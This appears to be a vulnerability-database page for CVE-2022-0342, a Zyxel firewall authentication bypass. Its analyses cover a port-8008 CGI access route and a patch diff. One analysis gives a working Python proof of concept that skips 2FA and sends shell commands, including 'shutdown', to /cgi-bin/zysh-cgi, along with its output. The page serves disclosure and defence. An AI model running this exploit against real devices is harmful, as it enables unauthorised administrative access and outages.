Attacker Value
Moderate
(2 users assessed)
Exploitability
Moderate
(2 users assessed)
User Interaction
Unknown
Privileges Required
Unknown
Attack Vector
Unknown
5

CVE-2022-0342

Add MITRE ATT&CK tactics and techniques that apply to this CVE.
Initial Access
Techniques
Validation
Validated
Validated

Description

An authentication bypass vulnerability in the CGI program of Zyxel USG/ZyWALL series firmware versions 4.20 through 4.70, USG FLEX series firmware versions 4.50 through 5.20, ATP series firmware versions 4.32 through 5.20, VPN series firmware versions 4.30 through 5.20, and NSG series firmware versions V1.20 through V1.33 Patch 4, which could allow an attacker to bypass the web authentication and obtain administrative access of the device.

Add Assessment

2
Ratings
Technical Analysis

Based on updated analysis from Maurizio Agazzini over at https://security.humanativaspa.it/zyxel-authentication-bypass-patch-analysis-cve-2022-0342/, it appears the impact of this vulnerability is a lot higher than initially anticipated. I think what our analysis and possibly others failed to realize is that a lot of this vulnerability is dependent on the actual port that you send the request to.

In the analysis listed above they noted that the following ports are associated with Apache:

  • 8008
  • 54088
  • 80
  • 4433
  • 443

And if we access the port 8008 we get a VPN Authorize authentication prompt, which appears to be related to 2FA. However note that unlike @jbaines-r7’s assessment, the prompt isn’t exactly the same and contains the text “VPN Authorize” at the top.

From this they then realized that since this must be related to 2FA, there is a configuration file at /var/zyxel/service_conf/httpd_twofa.conf which controls this. Looking at the configuration showed it was set up to listen on port 8008, the same port accessed earlier, and gave some more information on setup.

They they accessed port 54088 whilst exploring the other ports and noticed it contained what looked to be a block page. This is common on firewalling/website blocking apps where they will run a website on a port and redirect to that port to show the block page whenever a website that is deemed to be “bad” is attempted to be accessed by a user.

Looking at this and noticing it was a blockpage lead them to /var/zyxel/service_conf/cf_blockpage_https.conf which showed that port 54088 was being used for the cf_blockpage service,.

They then noticed both of these configuration files referenced /usr/local/apache/cgi-bin using the Directory configuration directive as described at https://httpd.apache.org/docs/2.4/mod/core.html#directory, which would have the configuration option SSLOptions +StdEnvVars which as described at https://httpd.apache.org/docs/trunk/mod/mod_ssl.xml#ssloptions, sets “the standard set of SSL related CGI/SSI environment variables are created. This per default is disabled for performance reasons, because the information extraction step is a rather expensive operation. So one usually enables this option for CGI and SSI requests only.” So this is interesting as it indicates we might be using CGI scripts on these endpoints.

At this point they then looked at /usr/local/zyxel-gui/httpd.conf and found that the /usr/local/apache/cgi-bin directory has a ScriptAlias for /cgi-bin/, meaning one can access the scripts in this directory by browsing to /cgi-bin/. Because this was configured in a global area though, this means that all the CGIs inside the /usr/local/apache/cgi-bin directory are accessible on every different virtual host the server provides.

As a final point they show that they could get around some of the authentication errors by sending a CGI request not to port 443, but instead to port 8008, and the same request worked fine, which allowed them to export the startup-config.conf file. This is just one example though as now they can essentially access any CGI endpoints on the server without authentication and are limited only by what the CGI script allows them to do.

2
Ratings
  • Attacker Value
    Very Low
  • Exploitability
    Very Low
Technical Analysis

On March 29, 2022, Zyxel released a security advisory for an authentication bypass vulnerability affecting a handful of their firewall and VPN products. The vulnerability, assigned CVE-2022-0342, is described as allowing a remote attacker to obtain administrative access to the system, and was assigned a CVSSv3 score of 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

We believe widespread exploitation of this issue is unlikely. While there are a fair number of affected firewalls visible on Shodan, our analysis suggests that exploitation requires a specific configuration and partial authentication. Most firewalls will not be affected. There are currently no reports of this vulnerability being exploited in the wild, and, before this write-up, no public proof of concept existed.

Analysis

The most obvious change in Zyxel’s patch was this modification of the web server’s apache configuration file:

diff -u ~/Downloads/5.20-ABUH.0/_compress.img.extracted/squashfs-root/usr/local/zyxel-gui/httpd.conf ~/Downloads/5.21-ABUH.1/_compress.img.extracted/squashfs-root/usr/local/zyxel-gui/httpd.conf 
--- /home/albinolobster/Downloads/5.20-ABUH.0/_compress.img.extracted/squashfs-root/usr/local/zyxel-gui/httpd.conf	2022-01-04 01:24:55.000000000 -0800
+++ /home/albinolobster/Downloads/5.21-ABUH.1/_compress.img.extracted/squashfs-root/usr/local/zyxel-gui/httpd.conf	2022-03-14 13:26:04.000000000 -0700
@@ -24,7 +24,8 @@
 AuthZyxelRedirect /
 AuthZyxelSkipPattern /images/ /lib/ /mobile/ /weblogin.cgi /admin.cgi /login.cgi /error.cgi /redirect.cgi /I18N.js /language /logo/ /ext-js/web-pages/login/no_granted.html /ssltun.jar /sslapp.jar /VncViewer.jar /Forwarder.jar /eps.jar /css/ /sdwan_intro.html /sdwan_intro_video.html /videos/ /webauth_error.cgi /webauth_relogin.cgi /SSHTermApplet-jdk1.3.1-dependencies-signed.jar /SSHTermApplet-jdkbug-workaround-signed.jar /SSHTermApplet-signed.jar /commons-logging.properties /org.apache.commons.logging.LogFactory /fetch_ap_info.cgi /agree.cgi /walled_garden.cgi /payment_transaction.cgi /paypal_pdt.cgi /redirect_pdt.cgi /securepay.cgi /authorize_dot_net.cgi /payment_failed.cgi /customize/ /multi-portal/ /free_time.cgi /free_time_redirect.cgi /free_time_transaction.cgi /free_time_failed.cgi /js/ /terms_of_service.html /dynamic_script.cgi /ext-js/ext/ext-all.js /ext-js/ext/adapter/ext/ext-base.js /ext-js/ext/resources/css/ext-all.css /ext-js/app/common/zyFunction.js /ext-js/app/common/zld_product_spec.js /cf_hdf_blockpage.cgi \
 /libcdr_blockpage.cgi \
-/cdr_cloud_block_page.html \
+/libcdr_blockpage.html \
+/libcdr_cloud_blockpage.html \
 /2FA-access.cgi \
 /webauth_ga.cgi \
 /fbwifi_error.cgi /fbwifi/ \
@@ -40,6 +41,8 @@
 /ztp/ /ztp/cgi-bin/ \
 /change-expired-password.html /chg_exp_pwd.cgi ext-js/web-pages/login/chgpw_expired.html /ext-all.css /ext-all.js /appLite.js zld_product_spec.js /showCLI.js /zyVType.js /persist-min.js /zyExtend.js /zyFunction.js /zyComponent.js /language_panel.js /ext-lang-en.js /language.js /login.css /custmiz_page.js /chgpw_expired.js /retrieveData.js /MultiSelect.js /ItemSelector.js /cmdStore.js /favicon.ico /PagingStore.js /zyform.js /ext-theme-classic-all.css /content_line.gif /content_bg.jpg /login_img.gif /login_bg.jpg /advance_bg.gif /reset.css \
 
+AuthZyxelSkipTwoFaPattern /ext-js/app/view/object/authmeth/twoFA/2FAVerify.html /ext-js/ext/ux/grid/FiltersFeature.js /ext-js/app/view/object/authmeth/twoFA/2FAVerify.js /ext-js/ext/ux/form/field/BoxSelect/BoxSelect.js /ext-js/ext/ux/toggleslide/ToggleSlide.js /ext-js/ext/ux/toggleslide/Thumb.js /ext-js/ext/ux/grid/menu/ListMenu.js /ext-js/ext/ux/grid/menu/RangeMenu.js /ext-js/ext/ux/grid/filter/DateFilter.js /ext-js/ext/ux/grid/filter/BooleanFilter.js /ext-js/ext/ux/grid/filter/DateTimeFilter.js /ext-js/ext/ux/grid/filter/ListFilter.js /ext-js/ext/ux/grid/filter/NumericFilter.js /ext-js/ext/ux/grid/filter/StringFilter.js /ext-js/ext/ux/grid/filter/Filter.js /ext-js/ext/src/zy2FAVerifyForm.js /cgi-bin/zysh-cgi \
+
 ScriptAlias /cgi-bin/ "/usr/local/apache/cgi-bin/"
 
 AddHandler cgi-script .cgi .py

This change introduces a second level of authentication for when two-factor authentication (2fa) is used. Corresponding changes can be found in Zyxel’s custom Apache module mod_auth_zyxel.so and the Zyxel command line shell cgi zysh-cgi.

Zyxel’s firewalls support 2fa on the administrative web interface via Google Authenticator. Like most 2fa systems, the admin user must first correctly enter their username and password before being prompted for a 2fa verification code:

2fa

On Zyxel’s firewalls affected by CVE-2022-0342, the admin user can execute Zyxel shell commands by sending HTTP POST requests to /cgi-bin/zysh-cgi without completing the 2fa verification. The following proof of concept demonstrates this by logging in as the admin user and ignoring the 2fa redirect. The script sends POST requests to execute the Zyxel shell commands show version and shutdown.

import requests
from urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

# Use session since the initial login will give us an auth-tok
sess = requests.Session()

login_url = 'https://192.168.1.1/'
login_data = { 'username':'admin','pwd':'labpass1','password':'labpass1','pwd_r':'','mp_idx':0 }
headers = { 'Origin':login_url,'Referer':login_url }
resp = sess.post(login_url, data = login_data, headers=headers, allow_redirects=False, verify=False)

if resp.status_code != 302:
    print('Unexpected status code')
    exit(0)

print(resp.headers)
print(resp.text)

# Just start issuing commands :shrug:
shell_url = 'https://192.168.1.1/cgi-bin/zysh-cgi'
shell_data = { 'filter':'js2','cmd':'show version','write':0 }
resp = sess.post(shell_url, data = shell_data, headers=headers, allow_redirects=False, verify=False)

print(resp.headers)
print(resp.text)

# Shut 'em down
shell_url = 'https://192.168.1.1/cgi-bin/zysh-cgi'
shell_data = { 'filter':'js2','cmd':'shutdown','write':0 }
resp = sess.post(shell_url, data = shell_data, headers=headers, allow_redirects=False, verify=False)

print(resp.headers)
print(resp.text)

Using this script against our affected test USG Flex 100 generates the following output:

albinolobster@ubuntu:~$ python3 fdas.py 
{'Date': 'Sat, 16 Apr 2022 11:22:35 GMT', 'Set-Cookie': 'authtok=o+F36szSDU7Q6fPAt2ExkMkvgLZIN7YMKtFM26MRm9NckniEVqSaw1zCL7Kpt2OV; path=/; SameSite=lax', 'Location': 'ext-js/app/view/object/authmeth/twoFA/2FAVerify.html?nextpage=ext-js/index.html', 'Content-Length': '263', 'Keep-Alive': 'timeout=15, max=100', 'Connection': 'Keep-Alive', 'Content-Type': 'text/html; charset=iso-8859-1'}
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="ext-js/app/view/object/authmeth/twoFA/2FAVerify.html?nextpage=ext-js/index.html">here</a>.</p>
</body></html>

{'Date': 'Sat, 16 Apr 2022 11:22:35 GMT', 'Pragma': 'no-cache', 'Cache-Control': 'no-cache', 'Keep-Alive': 'timeout=15, max=99', 'Connection': 'Keep-Alive', 'Transfer-Encoding': 'chunked', 'Content-Type': 'text/html'}
var zyshdata0=[{'_image_number':'1','_model':'USG FLEX 100','_firmware_version':'V4.29(ABUH.8)','_build_date':'2021-04-09 10:49:12','_boot_status':'Standby'},{'_image_number':'2','_model':'USG FLEX 100','_firmware_version':'V5.20(ABUH.0)','_build_date':'2022-01-04 18:51:35','_boot_status':'Running'}];
var errno0=0;
var errmsg0='OK';

If you are reading this, the shutdown command failed.
{'Date': 'Sat, 16 Apr 2022 11:22:35 GMT', 'Pragma': 'no-cache', 'Cache-Control': 'no-cache', 'Keep-Alive': 'timeout=15, max=98', 'Connection': 'Keep-Alive', 'Transfer-Encoding': 'chunked', 'Content-Type': 'text/html'}
var zyshdata0=[];
var errno0=0;
var errmsg0='OK';

After the second OK response, the firewall powers off, therefore demonstrating the 2fa bypass.

When the firewall has been patched, the attacker can still issue some commands to zysh-cgi but it appears critical commands like shutdown have been disabled. Here is output against the patched firmware version 5.21:

albinolobster@ubuntu:~$ python3 fdas.py 
{'Date': 'Sun, 17 Apr 2022 10:33:51 GMT', 'Set-Cookie': 'authtok=zv8CJ2l2SUbsO3FIoedxTs4i94-RdQauJEM9BzlW9PV67ttFqVLH6UhRAZwpJRQL; path=/; SameSite=lax', 'Location': 'ext-js/app/view/object/authmeth/twoFA/2FAVerify.html?nextpage=ext-js/index.html', 'Content-Length': '263', 'Keep-Alive': 'timeout=15, max=100', 'Connection': 'Keep-Alive', 'Content-Type': 'text/html; charset=iso-8859-1'}
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="ext-js/app/view/object/authmeth/twoFA/2FAVerify.html?nextpage=ext-js/index.html">here</a>.</p>
</body></html>

{'Date': 'Sun, 17 Apr 2022 10:33:51 GMT', 'Pragma': 'no-cache', 'Cache-Control': 'no-cache', 'Keep-Alive': 'timeout=15, max=99', 'Connection': 'Keep-Alive', 'Transfer-Encoding': 'chunked', 'Content-Type': 'text/html'}
var zyshdata0=[{'_image_number':'1','_model':'USG FLEX 100','_firmware_version':'V4.29(ABUH.8)','_build_date':'2021-04-09 10:49:12','_boot_status':'Standby'},{'_image_number':'2','_model':'USG FLEX 100','_firmware_version':'V5.21(ABUH.1)','_build_date':'2022-03-15 05:51:17','_boot_status':'Running'}];
var errno0=0;
var errmsg0='OK';

{'Date': 'Sun, 17 Apr 2022 10:33:51 GMT', 'Pragma': 'no-cache', 'Cache-Control': 'no-cache', 'Keep-Alive': 'timeout=15, max=98', 'Connection': 'Keep-Alive', 'Transfer-Encoding': 'chunked', 'Content-Type': 'text/html'}
var zyshdata0=[];
var errno0=0;
var errmsg0='OK';

The cgi script still responds with OK but the shutdown is never actually executed.

Is that it?

With such a high CVSS score, it seems anticlimactic that the vulnerability is simply a 2fa bypass. It’s possible that we’ve overlooked a detail but, as far as we can tell, access to zysh-cgi requires a valid authtokand the firmware patch is almost entirely focused on this two-factor authentication mechanism. Zyxel included almost no other changes in this patch (interestingly the XSS didn’t get a CVE, but I believe you’ll find it in redirect.cgi):

changes

Zyxel’s method of disclosure does cause me to question if we’ve overlooked something though. The description they provided for this issue makes it sound like a critical vulnerability. They could have easily described this as a 2fa bypass instead of an “authentication bypass”, and therefore downplayed the criticality of the issue. But they didn’t. Are they just playing games with useless vulnerability descriptions (sadly the norm), or is there more to this issue than we’ve described? It could be that the 2fa bypass is simply a symptom of a more critical vulnerability. That wouldn’t surprise me, but I also don’t see it.

Conclusion

In this writeup we demonstrated an MFA bypass that was recently fixed by Zyxel firewalls. It’s reasonable to assume that vulnerability, at least in part, is CVE-2022-0342. While likelihood of exploitation of this particular issue is low, there are a number of things administrators should do to protect themselves from future Zyxel firewall vulnerabilities:

  1. Disable remote administration on the WAN interface
  2. Enable automatic update
  3. Enable two-factor authentication on the admin account
  4. Schedule weekly reboots of the firewall

General Information

Vendors

  • Zyxel

Products

  • USG/ZyWALL series firmware,
  • USG FLEX series firmware,
  • ATP series firmware,
  • VPN series firmware,
  • NSG series firmware

Additional Info

Technical Analysis